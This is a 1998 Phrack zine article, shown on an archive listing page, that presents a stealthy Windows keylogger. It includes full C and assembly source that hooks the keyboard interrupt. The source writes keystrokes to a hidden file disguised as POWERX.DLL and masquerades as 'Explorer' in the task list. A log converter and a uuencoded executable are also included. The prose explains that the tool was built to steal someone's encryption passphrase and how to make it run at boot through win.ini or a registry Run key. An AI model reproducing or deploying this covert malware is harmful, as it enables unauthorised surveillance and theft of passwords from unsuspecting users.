home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Phrack / Phrack Issue 53.sit / 53 / P53-07 < prev    next >
Text File  |  1998-07-08  |  23KB  |  651 lines

  1. ---[  Phrack Magazine   Volume 8, Issue 53 July 8, 1998, article 07 of 15
  2.  
  3.  
  4. -------------------------[  A Stealthy Windows Keylogger
  5.  
  6.  
  7. --------[  markj8@usa.net
  8.  
  9.  
  10.     I recently felt the need to acquire some data being typed into Windows95
  11. machines on a small TCP-IP network.  I had occasional physical access to the
  12. machines and I knew the remote administration password, but the files were
  13. being saved in BestCryptNP volumes, the passphrase for which I didn't know...
  14.  
  15.     I searched the Net as best I could for a suitable keylogging program that
  16. would allow me to capture the passphrase without being noticed, but all I
  17. could find was I big boggy thing written in visual basic that insisted on
  18. opening a window.  I decided to write my own.  I wanted to write it as a VXD
  19. because they run at Privilege Level 0 and can do just about ANYTHING.  I soon
  20. gave up on this idea because I couldn't acquire the correct tools and certainly
  21. couldn't afford to buy them.
  22.  
  23.     While browsing through the computer section of my local public library one
  24. day I noticed a rather thin book called "WINDOWS ASSEMBLY LANGUAGE and SYSTEMS
  25. PROGRAMMING" by Barry Kauler, (ISBN 0 13 020207 X) c 1993.  A quick flick
  26. through the Table of Contents revealed "Chapter 10: Real-Time Events, Enhanced
  27. Mode Hardware Interrupts".  I immediately borrowed the book and photocopied
  28. it (Sorry about the royalties Barry).  As I read chapter 10 I realized that
  29. all I needed was a small 16 bit Windows program running as a normal user
  30. process to capture every keystroke typed into windows.  The only caveat was
  31. that keystrokes typed into DOS boxes wouldn't be captured.  Big deal.  I could
  32. live without that.  I was stunned to discover that all user programs in Windows
  33. share a single Interrupt Descriptor Table (IDT).  This implies that if one
  34. user program patches a vector in the IDT, then all other programs are
  35. immediately affected.
  36.  
  37.     The only tool I had for generating windows executables was Borland C Ver
  38. 2.0 which makes small and cute windows 3.0 EXE's, so that's what I used.  I
  39. have tested it on Windows for Workgroups 3.11, Windows 95 OSR2, and Windows 98
  40. beta 3.  It will probably work on Windows 3.x as well.
  41.  
  42.     As supplied, it will create a hidden file in the \WINDOWS\SYSTEM directory
  43. called POWERX.DLL and record all keystrokes into it using the same encoding
  44. scheme as Doc Cypher's KEYTRAP3.COM program for DOS.  This means that you can
  45. use the same conversion program, CONVERT3.C, to convert the raw scancodes in
  46. the log file to readable ASCII.  I have included a slightly "improved" version
  47. of CONVERT3.C with a couple of bugs fixed.  I contemplated incorporating the
  48. functionality of CONVERT3 into W95Klog, but decided that logging scancodes
  49. was "safer" that logging plain ASCII.  If the log file is larger that 2
  50. megabytes when the program starts, it will be deleted and re-created with
  51. length zero.  When you press CTRL-ALT-DEL (in windows95/98) to look at the
  52. Task List, W95Klog will show up as "Explorer".  You can change this by editing
  53. the .DEF file and recompiling, or by HEX Editing the .EXE file.  If anyone
  54. knows how to stop a user program from showing on this list please tell me.
  55.  
  56.     To cause the target machine to run W95Klog every time it starts Windows
  57. you can:
  58.  
  59.   1) Edit win.ini, [windows] section to say run=WHLPFFS.EXE or some such
  60. confusing name :)   Warning!  This will cause a nasty error message if
  61. WHLPFFS.EXE can't be found.  This method has the advantage of being able to be
  62. performed over the network via "remote administration" without the need for
  63. both computers to be running "remote registry service".
  64.  
  65.   2) Edit the registry key: (Win95/98)
  66. `HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run` and create
  67. a new key called whatever you like with a string value of "WHLPFFS.EXE" or
  68. whatever.  This is my preferred method because it is less likely to be stumbled
  69. upon by the average user and windows continues without complaint if the
  70. executable can't be found.  The log file can be retrieved via the network even
  71. when it is still open for writing by the logging program.  This is very
  72. convenient ;).
  73.  
  74.  
  75. <++> EX/win95log/convert.c
  76. //
  77. // Convert v3.0
  78. // Keytrap logfile converter.
  79. // By dcypher <dcypher@mhv.net>
  80. // MSVC++1.52 (Or Borland C 1.01, 2.0 ...)
  81. // Released: 8/8/95
  82. // 
  83. // Scancodes above 185(0xB9) are converted to "<UK>", UnKnown.
  84. //
  85.  
  86. #include <stdio.h>
  87.  
  88. #define MAXKEYS 256
  89. #define WS 128
  90.  
  91. const char *keys[MAXKEYS];
  92.  
  93. void main(int argc,char *argv[])
  94. {     
  95.       FILE *stream1;
  96.       FILE *stream2;
  97.  
  98.      unsigned int Ldata,Nconvert=0,Yconvert=0;
  99.         char logf_name[100],outf_name[100];
  100.       
  101.       //
  102.      // HERE ARE THE KEY ASSIGNMENTS !!
  103.      //
  104.      // You can change them to anything you want. 
  105.      // If any of the key assignments are wrong, please let
  106.      // me know. I havn't checked all of them, but it looks ok.
  107.      //
  108.      //   v--- Scancodes logged by the keytrap TSR
  109.      //          v--- Converted to the string here
  110.                       
  111.      keys[1]  = "<uk>";                      
  112.      keys[2]  = "1";            
  113.      keys[3]  = "2";         
  114.      keys[4]  = "3";
  115.      keys[5]  = "4";
  116.      keys[6]  = "5";
  117.      keys[7]  = "6";
  118.      keys[8]  = "7";
  119.     keys[9]  = "8";
  120.      keys[10] = "9";
  121.      keys[11] = "0";
  122.      keys[12] = "-";
  123.      keys[13] = "=";
  124.      keys[14] = "<bsp>";
  125.      keys[15] = "<tab>";
  126.      keys[16] = "q";
  127.      keys[17] = "w";
  128.      keys[18] = "e";
  129.      keys[19] = "r";
  130.      keys[20] = "t";
  131.      keys[21] = "y";
  132.      keys[22] = "u";
  133.      keys[23] = "i";
  134.      keys[24] = "o";
  135.     keys[25] = "p";
  136.      keys[26] = "[";  /* = ^Z  Choke! */
  137.      keys[27] = "]";
  138.      keys[28] = "<ret>";     
  139.      keys[29] = "<ctrl>";
  140.      keys[30] = "a";
  141.      keys[31] = "s";     
  142.      keys[32] = "d";
  143.      keys[33] = "f";
  144.      keys[34] = "g";
  145.      keys[35] = "h";
  146.      keys[36] = "j";
  147.      keys[37] = "k";
  148.      keys[38] = "l";
  149.      keys[39] = ";";     
  150.      keys[40] = "'";
  151.      keys[41] = "`";
  152.      keys[42] = "<LEFT SHIFT>"; // left shift - not logged by the tsr
  153.      keys[43] = "\\";           //             and not converted
  154.      keys[44] = "z";
  155.      keys[45] = "x";
  156.      keys[46] = "c";
  157.      keys[47] = "v";
  158.      keys[48] = "b";
  159.      keys[49] = "n";
  160.      keys[50] = "m";
  161.      keys[51] = ",";
  162.      keys[52] = ".";
  163.      keys[53] = "/";
  164.      keys[54] = "<RIGHT SHIFT>"; // right shift - not logged by the tsr
  165.      keys[55] = "*";             //            and not converted
  166.      keys[56] = "<alt>";
  167.      keys[57] = " ";         
  168.      
  169.      // now show with shift key
  170.      // the TSR adds 128 to the scancode to show shift/caps
  171.  
  172.      keys[1+WS]  = "[";  /* was "<unknown>" but now fixes ^Z problem */                      
  173.      keys[2+WS]  = "!";            
  174.      keys[3+WS]  = "@";         
  175.      keys[4+WS]  = "#";
  176.      keys[5+WS]  = "$";
  177.      keys[6+WS]  = "%";
  178.      keys[7+WS]  = "^";
  179.      keys[8+WS]  = "&";
  180.     keys[9+WS]  = "*";
  181.      keys[10+WS] = "(";
  182.      keys[11+WS] = ")";
  183.      keys[12+WS] = "_";
  184.      keys[13+WS] = "+";
  185.      keys[14+WS] = "<shift+bsp>";
  186.      keys[15+WS] = "<shift+tab>";
  187.       keys[16+WS] = "Q";
  188.      keys[17+WS] = "W";
  189.      keys[18+WS] = "E";
  190.      keys[19+WS] = "R";
  191.      keys[20+WS] = "T";
  192.      keys[21+WS] = "Y";
  193.      keys[22+WS] = "U";
  194.      keys[23+WS] = "I";
  195.      keys[24+WS] = "O";
  196.     keys[25+WS] = "P";
  197.      keys[26+WS] = "{";
  198.      keys[27+WS] = "}";
  199.      keys[28+WS] = "<shift+ret>";
  200.      keys[29+WS] = "<shift+ctrl>";
  201.      keys[30+WS] = "A";
  202.      keys[31+WS] = "S";     
  203.      keys[32+WS] = "D";
  204.      keys[33+WS] = "F";
  205.      keys[34+WS] = "G";
  206.      keys[35+WS] = "H";
  207.      keys[36+WS] = "J";
  208.      keys[37+WS] = "K";
  209.      keys[38+WS] = "L";
  210.      keys[39+WS] = ":";     
  211.      keys[40+WS] = "\"";
  212.      keys[41+WS] = "~";
  213.      keys[42+WS] = "<LEFT SHIFT>"; // left shift - not logged by the tsr
  214.      keys[43+WS] = "|";            //             and not converted
  215.       keys[44+WS] = "Z";
  216.      keys[45+WS] = "X";
  217.      keys[46+WS] = "C";
  218.      keys[47+WS] = "V";
  219.      keys[48+WS] = "B";
  220.      keys[49+WS] = "N";
  221.      keys[50+WS] = "M";
  222.       keys[51+WS] = "<";
  223.      keys[52+WS] = ">";
  224.      keys[53+WS] = "?";
  225.      keys[54+WS] = "<RIGHT SHIFT>"; // right shift - not logged by the tsr
  226.      keys[55+WS] = "<shift+*>";     //            and not converted
  227.      keys[56+WS] = "<shift+alt>";
  228.      keys[57+WS] = " ";
  229.                                         
  230.          printf("\n");
  231.      printf("Convert v3.0\n");
  232.      // printf("Keytrap logfile converter.\n");
  233.      // printf("By dcypher <dcypher@mhv.net>\n\n");
  234.      printf("Usage: CONVERT infile outfile\n");
  235.      printf("\n");
  236.      
  237.      if (argc==3)
  238.      {
  239.           strcpy(logf_name,argv[1]);
  240.          strcpy(outf_name,argv[2]);
  241.      }
  242.      
  243.      else
  244.      {
  245.           printf("Enter infile name: ");
  246.                 scanf("%99s",&logf_name);
  247.          printf("Enter outfile name: ");
  248.                 scanf("%99s",&outf_name);
  249.          printf("\n");
  250.       }
  251.           
  252.     stream1=fopen(logf_name,"rb");
  253.     stream2=fopen(outf_name,"a+b");
  254.  
  255.     if (stream1==NULL || stream2==NULL)
  256.     {
  257.         if (stream1==NULL)
  258.             printf("Error opening: %s\n\a",logf_name);
  259.         else
  260.             printf("Error opening: %s\n\a",outf_name);
  261.     }
  262.     
  263.     else
  264.     {
  265.         fseek(stream1,0L,SEEK_SET);
  266.         printf("Reading data from: %s\n",logf_name);
  267.         printf("Appending information to..: %s\n",outf_name);
  268.         
  269.         while (feof(stream1)==0)
  270.             {
  271.                 Ldata=fgetc(stream1);    
  272.                 
  273.                 if (Ldata>0
  274.                 && Ldata<186)
  275.                 {    
  276.                     if (Ldata==28 || Ldata==28+WS)
  277.                     {    
  278.                         fputs(keys[Ldata],stream2);
  279.                         fputc(0x0A,stream2);
  280.                         fputc(0x0D,stream2);
  281.                         Yconvert++;
  282.                     }    
  283.                     else                    
  284.                         fputs(keys[Ldata],stream2);
  285.                         Yconvert++;
  286.                 }
  287.                 else
  288.                 {     
  289.                     fputs("<UK>",stream2);
  290.                     Nconvert++;
  291.                 }
  292.                     
  293.             }
  294.     }
  295.     
  296.       fflush(stream2);  
  297.     printf("\n\n");
  298.     printf("Data converted....: %i\n",Yconvert);
  299.     printf("Data not converted: %i\n",Nconvert);     
  300.     printf("\n");    
  301.     printf("Closeing  infile: %s\n",logf_name);
  302.     printf("Closeing outfile: %s\n",outf_name);
  303.       fclose(stream1);
  304.     fclose(stream2);
  305. }
  306.  
  307. <-->
  308. <++> EX/win95log/W95Klog.c
  309. /*
  310.  * W95Klog.C   Windows stealthy keylogging program
  311.  */
  312.  
  313. /*
  314.  * This will ONLY compile with BORLANDC V2.0 small model.
  315.  * For other compilers you will have to change newint9()
  316.  * and who knows what else :)
  317.  *
  318.  * Captures ALL interesting keystrokes from WINDOWS applications
  319.  * but NOT from DOS boxes.
  320.  * Tested OK on WFW 3.11, Win95 OSR2 and Win98 Beta 3.
  321.  */
  322.  
  323. #include <windows.h>
  324. #include <string.h>
  325. #include <stdlib.h>
  326. #include <stdio.h>
  327. #include <dos.h>
  328.  
  329. //#define LOGFILE "~473C96.TMP" //Name of log file in WINDOWS\TEMP
  330. #define LOGFILE "POWERX.DLL"    //Name of log file in WINDOWS\SYSTEM
  331. #define LOGMAXSIZE 2097152      //Max size of log file (2Megs)
  332.  
  333. #define HIDDEN 2
  334. #define SEEK_END 2
  335.  
  336. #define NEWVECT 018h       // "Unused" int that is used to call old
  337.                            // int 9 keyboard routine.
  338.                            // Was used for ROMBASIC on XT's
  339.                            // Change it if you get a conflict with some
  340.                            //  very odd program.  Try 0f9h.
  341.  
  342. /************* Global Variables in DATA SEGment ****************/
  343.  
  344. HWND                 hwnd;        // used by newint9()
  345. unsigned int         offsetint;   // old int 9 offset
  346. unsigned int         selectorint; // old int 9 selector
  347. unsigned char        scancode;    // scan code from keyboard
  348.  
  349. //WndProc
  350. char sLogPath[160];
  351. int  hLogFile;
  352. long lLogPos;
  353. char sLogBuf[10];
  354.  
  355. //WinMain
  356. char szAppName[]="Explorer";
  357. MSG         msg;
  358. WNDCLASS    wndclass;
  359.  
  360. /***************************************************************/
  361.  
  362. //
  363. //__________________________
  364. void interrupt newint9(void)  //This is the new int 9 (keyboard) code
  365.                      // It is a hardware Interrupt Service Routine. (ISR)
  366. {
  367. scancode=inportb(0x60);
  368. if((scancode<0x40)&&(scancode!=0x2a)) {
  369.   if(peekb(0x0040, 0x0017)&0x40) { //if CAPSLOCK is active
  370.     // Now we have to flip UPPER/lower state of A-Z only! 16-25,30-38,44-50
  371.     if(((scancode>15)&&(scancode<26))||((scancode>29)&&(scancode<39))||
  372.                        ((scancode>43)&&(scancode<51)))  //Phew!
  373.       scancode^=128; //bit 7 indicates SHIFT state to CONVERT.C program
  374.     }//if CAPSLOCK
  375.   if(peekb(0x0040, 0x0017)&3)  //if any shift key is pressed...
  376.     scancode^=128;   //bit 7 indicates SHIFT state to CONVERT.C program
  377.   if(scancode==26)   //Nasty ^Z bug in convert program
  378.     scancode=129;    //New code for "["
  379.  
  380.   //Unlike other Windows functions, an application may call PostMessage
  381.   // at the hardwareinterrupt level. (Thankyou Micr$oft!)
  382.   PostMessage(hwnd, WM_USER, scancode, 0L); //Send scancode to WndProc()
  383.   }//if scancode in range
  384.  
  385.   asm {  //This is very compiler specific, & kinda ugly!
  386.       pop bp
  387.       pop di
  388.       pop si
  389.       pop ds
  390.       pop es
  391.       pop dx
  392.       pop cx
  393.       pop bx
  394.       pop ax
  395.       int NEWVECT       // Call the original int 9 Keyboard routine
  396.       iret              // and return from interrupt
  397.       }
  398. }//end newint9
  399.  
  400.  
  401. //This is the "callback" function that handles all messages to our "window"
  402. //_____________________________________________________________________
  403. long FAR PASCAL WndProc(HWND hwnd,WORD message,WORD wParam,LONG lParam)
  404.   {
  405.  
  406. //asm int 3;         //For Soft-ice debugging
  407. //asm int 18h;       //For Soft-ice debugging
  408.  
  409.   switch(message) {
  410.     case WM_CREATE:  // hook the keyboard hardware interupt
  411.       asm {
  412.           pusha
  413.           push es
  414.           push ds
  415.                            // Now get the old INT 9 vector and save it...
  416.           mov al,9
  417.           mov ah,35h       // into ES:BX
  418.           int 21h
  419.           push es
  420.           pop ax
  421.           mov offsetint,bx  // save old vector in data segment
  422.           mov selectorint,ax //     /
  423.           mov dx,OFFSET newint9  // This is an OFFSET in the CODE segment
  424.           push cs
  425.           pop ds            // New vector in DS:DX
  426.           mov al,9
  427.           mov ah,25h
  428.           int 21h           // Set new int 9 vector
  429.           pop ds            // get data seg for this program
  430.           push ds
  431.                             // now hook unused vector
  432.                             //  to call old int 9 routine
  433.           mov dx,offsetint
  434.           mov ax,selectorint
  435.           mov ds,ax
  436.           mov ah,25h
  437.           mov al,NEWVECT
  438.           int 21h
  439.                             // Installation now finished
  440.           pop ds
  441.           pop es
  442.           popa
  443.           } // end of asm
  444.  
  445.       //Get path to WINDOWS directory
  446.       if(GetWindowsDirectory(sLogPath,150)==0) return 0;
  447.  
  448.       //Put LOGFILE on end of path
  449.       strcat(sLogPath,"\\SYSTEM\\");
  450.       strcat(sLogPath,LOGFILE);
  451.       do {
  452.         // See if LOGFILE exists
  453.         hLogFile=_lopen(sLogPath,OF_READ);
  454.         if(hLogFile==-1) { // We have to Create it
  455.           hLogFile=_lcreat(sLogPath,HIDDEN);
  456.           if(hLogFile==-1) return 0; //Die quietly if can't create LOGFILE
  457.           }
  458.         _lclose(hLogFile);
  459.  
  460.         // Now it exists and (hopefully) is hidden....
  461.         hLogFile=_lopen(sLogPath,OF_READWRITE); //Open for business!
  462.         if(hLogFile==-1) return 0; //Die quietly if can't open LOGFILE
  463.         lLogPos=_llseek(hLogFile,0L,SEEK_END); //Seek to the end of the file
  464.         if(lLogPos==-1) return 0; //Die quietly if can't seek to end
  465.         if(lLogPos>LOGMAXSIZE) {  //Let's not fill the harddrive...
  466.           _lclose(hLogFile);
  467.           _chmod(sLogPath,1,0);
  468.           if(unlink(sLogPath)) return 0; //delete or die
  469.           }//if file too big
  470.         } while(lLogPos>LOGMAXSIZE);
  471.       break;
  472.  
  473.     case WM_USER:        // A scan code....
  474.       *sLogBuf=(char)wParam;
  475.       _write(hLogFile,sLogBuf,1);
  476.       break;
  477.  
  478.     case WM_ENDSESSION:  // Is windows "restarting" ?
  479.     case WM_DESTROY:     // Or are we being killed  ?
  480.     asm{
  481.         push    dx
  482.         push    ds
  483.         mov     dx,offsetint
  484.         mov     ds,selectorint
  485.         mov     ax,2509h
  486.         int     21h           //point int 09 vector back to old
  487.         pop     ds
  488.         pop     dx
  489.         }
  490.       _lclose(hLogFile);
  491.       PostQuitMessage(0);
  492.       return(0);
  493.     } //end switch
  494.  
  495.      //This handles all the messages that we don't want to know about
  496.      return DefWindowProc(hwnd,message,wParam,lParam);
  497.      }//end WndProc
  498.  
  499. /**********************************************************/
  500. int PASCAL WinMain (HANDLE hInstance, HANDLE hPrevInstance,
  501.                     LPSTR lpszCmdParam, int nCmdShow)
  502.     {
  503.  
  504.     if (!hPrevInstance) {  //If there is no previous instance running...
  505.       wndclass.style         = CS_HREDRAW | CS_VREDRAW;
  506.       wndclass.lpfnWndProc   = WndProc; //function that handles messages
  507.                                         // for this window class
  508.       wndclass.cbClsExtra    = 0;
  509.       wndclass.cbWndExtra    = 0;
  510.       wndclass.hInstance     = hInstance;
  511.       wndclass.hIcon         = NULL;
  512.       wndclass.hCursor       = NULL;
  513.       wndclass.hbrBackground = NULL;
  514.       wndclass.lpszClassName = szAppName;
  515.  
  516.       RegisterClass (&wndclass);
  517.  
  518.       hwnd = CreateWindow(szAppName,   //Create a window
  519.                   szAppName,           //window caption
  520.                   WS_OVERLAPPEDWINDOW, //window style
  521.                   CW_USEDEFAULT,       //initial x position
  522.                   CW_USEDEFAULT,       //initial y position
  523.                   CW_USEDEFAULT,       //initial x size
  524.                   CW_USEDEFAULT,       //initial y size
  525.                   NULL,                //parent window handle
  526.                   NULL,                //Window Menu handle
  527.                   hInstance,           //program instance handle
  528.                   NULL);               //creation parameters
  529.  
  530.       //ShowWindow(hwnd,nCmdShow);     //We don't want  no
  531.       //UpdateWindow(hwnd);            // stinking window!
  532.  
  533.       while (GetMessage(&msg,NULL,0,0)) {
  534.         TranslateMessage(&msg);
  535.         DispatchMessage(&msg);
  536.         }
  537.       }//if no previous instance of this program is running...
  538.     return msg.wParam;  //Program terminates here after falling out
  539.     } //End of WinMain        of the while() loop.
  540. <-->
  541. <++> EX/win95log/W95KLOG.DEF
  542. ;NAME is what shows in CTRL-ALT-DEL Task list... hmmmm
  543. NAME           Explorer
  544. DESCRIPTION    'Explorer'
  545. EXETYPE        WINDOWS
  546. CODE           PRELOAD FIXED
  547. DATA           PRELOAD FIXED SHARED
  548. HEAPSIZE       2048
  549. STACKSIZE      8096
  550. <-->
  551. <++> EX/win95log/W95KLOG.EXE.uue
  552. begin 600 W95KLOG.EXE
  553. M35H"`08````$``\`__\``+@`````````0```````````````````````````
  554. M````````````````````D````+H0``X?M`G-(;@!3,TAD)!4:&ES('!R;V=R
  555. M86T@;75S="!B92!R=6X@=6YD97(@36EC<F]S;V9T(%=I;F1O=W,N#0HD````
  556. M````````````3D4%"FT``@```````@,"```(H!\```$````"``(``@`,`$``
  557. M4`!0`%P`8`#_```````)`````@@!``<``````P(`U05`#=4%!@`F`F$,)@((
  558. M17AP;&]R97(````!``@```9+15).14P$55-%4@``"$5X<&QO<F5R````````
  559. M````````````````````````````````````````````````````````````
  560. M````````````````````````````````````````````````````````````
  561. M````````````````````````````````````````````````````````````
  562. M````````````````````````````````````````````````````````````
  563. M````````````````````````````````````````````````````````````
  564. M````````````````````````````````````````````````````````````
  565. M````````````````````````````````````````````````````````````
  566. M````````````````````````````````````````````````````````````
  567. M````````````````````````````````````````````````````````````
  568. M````````````````````````````````````````````````````````````
  569. M````````````````````````````````````````````````````````````
  570. M````````````````````````````````````````````````````````````
  571. M````````````````````````````````````````````````````````````
  572. M````````````````````````````````````````````````````````````
  573. M````````````````````````````````````````````````````````````
  574. M````````````````````````````````````````````````````````````
  575. M`````````````````````````````````````````````)K__P``"\!U`^G$
  576. M`(P&%@")'AP`B38:`(D^&`")%AX`N/__4)K__P``,\`>![\"`;DF`BO/_/.J
  577. M,\!0FO__``#_-A@`FO__```+P'4#Z8``M`#-&HD6(`")#B(`M##-(:,D`)K_
  578. M_P``J0$`=`;'!A(`"`#WP@0`=`;'!A0``0",V([`O@(!OP(!Z$X`_S88`/\V
  579. M&@#_-A8`_S8<`/\V'@#H(0-0Z-`#C-B.P+X"`;\"`>AG`/\6<@#_%G0`_Q9V
  580. M`+C__U":__\``(I&`K1,S2&P_U#HH0.T3,TAM/^+UXO>.]]T%R:`/_]T#"8X
  581. M9P%W!B:*9P&+TX/#!NOE.]=T&XO:)H`_`";&!_\&=`<F_U\"!^O')O]7`@?K
  582. MP,.T`(O7B]X[WW07)H`__W0,)CAG`7(&)HIG`8O3@\,&Z^4[UW0;B]HF@#\`
  583. M)L8'_P9T!R;_7P('Z\<F_U<"!^O`PU!345(&'E975;W__X[=B^RZ8`#LHC(!
  584. M@#XR`4!S=X`^,@$J='"X0`".P";V!A<`0'0O@#XR`0]V!X`^,@$:<AR`/C(!
  585. M'78'@#XR`2=R#H`^,@$K=@R`/C(!,W,%@#8R`8"X0`".P";V!A<``W0%@#8R
  586. M`8"`/C(!&G4%Q@8R`8'_-A0!:``$H#(!M`!0:@!J`)K__P``75]>'P=:65M8
  587. MS1C/75]>'P=:65M8SXS8D$55B^P>CMA6BW8,B\8]%@!U`^EE`7<0/0$`=!8]
  588. M`@!U`^E6`>EZ`3T`!'4#Z30!Z6\!8`8>L`FT-<TA!EB)'C`!H^0!NO__#A^P
  589. M";0ES2$?'HL6,`&AY`&.V+0EL!C-(1\'81YH1`%HE@":__\```O`=0<STC/`
  590. MZ3D!:%T`:$0!Z+("@\0$:&8`:$0!Z*8"@\0$'FA$`6H`FO__``"C.`&#/C@!
  591. M_W4<'FA$`6H"FO__``"C.`&#/C@!_W4',](SP.GP`/\V.`&:__\``!YH1`%J
  592. M`IK__P``HS@!@SXX`?]U!S/2,\#IRP#_-C@!:@!J`&H"FO__``")%C8!HS0!
  593. M@SXV`?]U#H,^-`'_=0<STC/`Z:``@SXV`2!\,7\'@SXT`0!V*/\V.`&:__\`
  594. M`&H`:@%H1`'H?@&#Q`9H1`'H+P)$1`O`=`8STC/`ZVB#/C8!('X#Z3W_=4J#
  595. M/C0!`'8#Z3'_ZSZ*1@JB.@%J`6@Z`?\V.`'H#P*#Q`;K)U(>BQ8P`8X>Y`&X
  596. M"27-(1]:_S8X`9K__P``:@":__\``#/2,\#K$O]V#E;_=@K_=@C_=@::__\`
  597. M`%X?74W*"@!5B^Q6BW8,@WX*`'0#Z98`QP86`0,`C`X:`<<&&`'__\<&'`$`
  598. M`,<&'@$``(DV(`''!B(!``#'!B0!``#'!B8!``",'BX!QP8L`50`'F@6`9K_
  599. M_P``'FA4`!YH5`!HSP!J`&@`@&@`@&@`@&@`@&H`:@!6:@!J`)K__P``HQ0!
  600. MZQ(>:`(!FO__```>:`(!FO__```>:`(!:@!J`&H`FO__```+P'7;H08!7EW"
  601. M"@!5B^Q=PU6+[.L*BQYX`-'C_Y?F`:%X`/\.>``+P'7K_W8$Z!#\65W#58OL
  602. M@SYX`"!U!;@!`.L3BQYX`-'CBT8$B8?F`?\&>``SP%W#58OLBTX(M$.*1@:+
  603. M5@3-(7(#D>L$4.@"`%W#58OL5HMV!`OV?!6#_EA^`[Y7`(DVH@"*A*0`F(OP
  604. MZQ&+QO?8B_"#_B-_Y<<&H@#__XDV$`"X__]>7<("`%6+[(M>!-'C@:=Z`/_]
  605. MM$**1@J+7@2+3@B+5@;-(7("ZP50Z)W_F5W#58OL5E?\BWX$'@>+US+`N?__
  606. M\JZ-=?^+?@:Y___RKO?1*_F']_?&`0!T`J1)T>GSI7,!I))?7EW#58OLM$&+
  607. M5@3-(7($,\#K!%#H3?]=PU6+[(M>!-'C]X=Z```(=!.X`@!0,\`STE!2_W8$
  608. MZ&C_@\0(M$"+7@2+3@B+5@;-(7(/4(M>!-'C@8]Z```06.L$4.@&_UW#&0`#
  609. M`0$``0!;``,!)0`!`!<``P$\``$`'@`#`44``@`%``,!9``!`(0``P'%``$`
  610. M&``#`6($`@!L``,!4P0"`'(``P%*!`(`<0`#`3P$`@`I``,!%00"`#D`!0#B
  611. M`P$`!P(#`;D#`@!K``,!H0,"``8``P&:`P$`40`#`3(#`0!1``,!_0(!`%0`
  612. M`P'=`@$`50`#`=("`0!1``,!N`(!`%,``P&C`@$`50`#`74"`0"&``4`3P(!
  613. M`%P!`P'M`0(`;@`"`&8!`@!4````````````````````````````````````
  614. M````````````````````````````````````````````````````````````
  615. M````````````````````````````````````````````````````````````
  616. M````````````````````````````````````````````````````````````
  617. M````````````````````````````````````````````````````````````
  618. M````````````````````````````````````````````````````````````
  619. M````````````````````````````````````````````````````````````
  620. M````````````````````````````````````````````````````````````
  621. M````````````````````````````````````````````````````````````
  622. M````````````````````````````````````````````````````````````
  623. M````#"X`17AP;&]R97(`7%-94U1%35P`4$]715)8+D1,3```<@1R!'($```!
  624. M(`(@`B`$H`*@________________________________________````$P("
  625. M!`4&"`@(%!4%$_\6!1$"_________________P4%____________________
  626. M_P__(P+_#_____\3__\"`@4/`O___Q/__________R/_____(_\3_P``````
  627. M````````````````````````````````````````````````````````````
  628. M````````````````````````````````````````````````````````````
  629. M````````````````````````````````````````````````````````````
  630. M````````````````````````````````````````````````````````````
  631. M````````````````````````````````````````````````````````````
  632. M````````````````````````````````````````````````````````````
  633. M````````````````````````````````````````````````````````````
  634. M````````````````````````````````````````````````````````````
  635. M````````````````````````````````````````````````````````````
  636. M````````````````````````````````````````````````````````````
  637. M````````````````````````````````````````````````````````````
  638. M````````````````````````````````````````````````````````````
  639. M````````````````````````````````````````````````````````````
  640. M````````````````````````````````````````````````````````````
  641. M````````````````````````````````````````````````````````````
  642. M````````````````````````````````````````````````````````````
  643. M````````````````````````````````````````````````````````````
  644. !````
  645. `
  646. end
  647. <-->
  648.  
  649. ----[  EOF
  650.  
  651.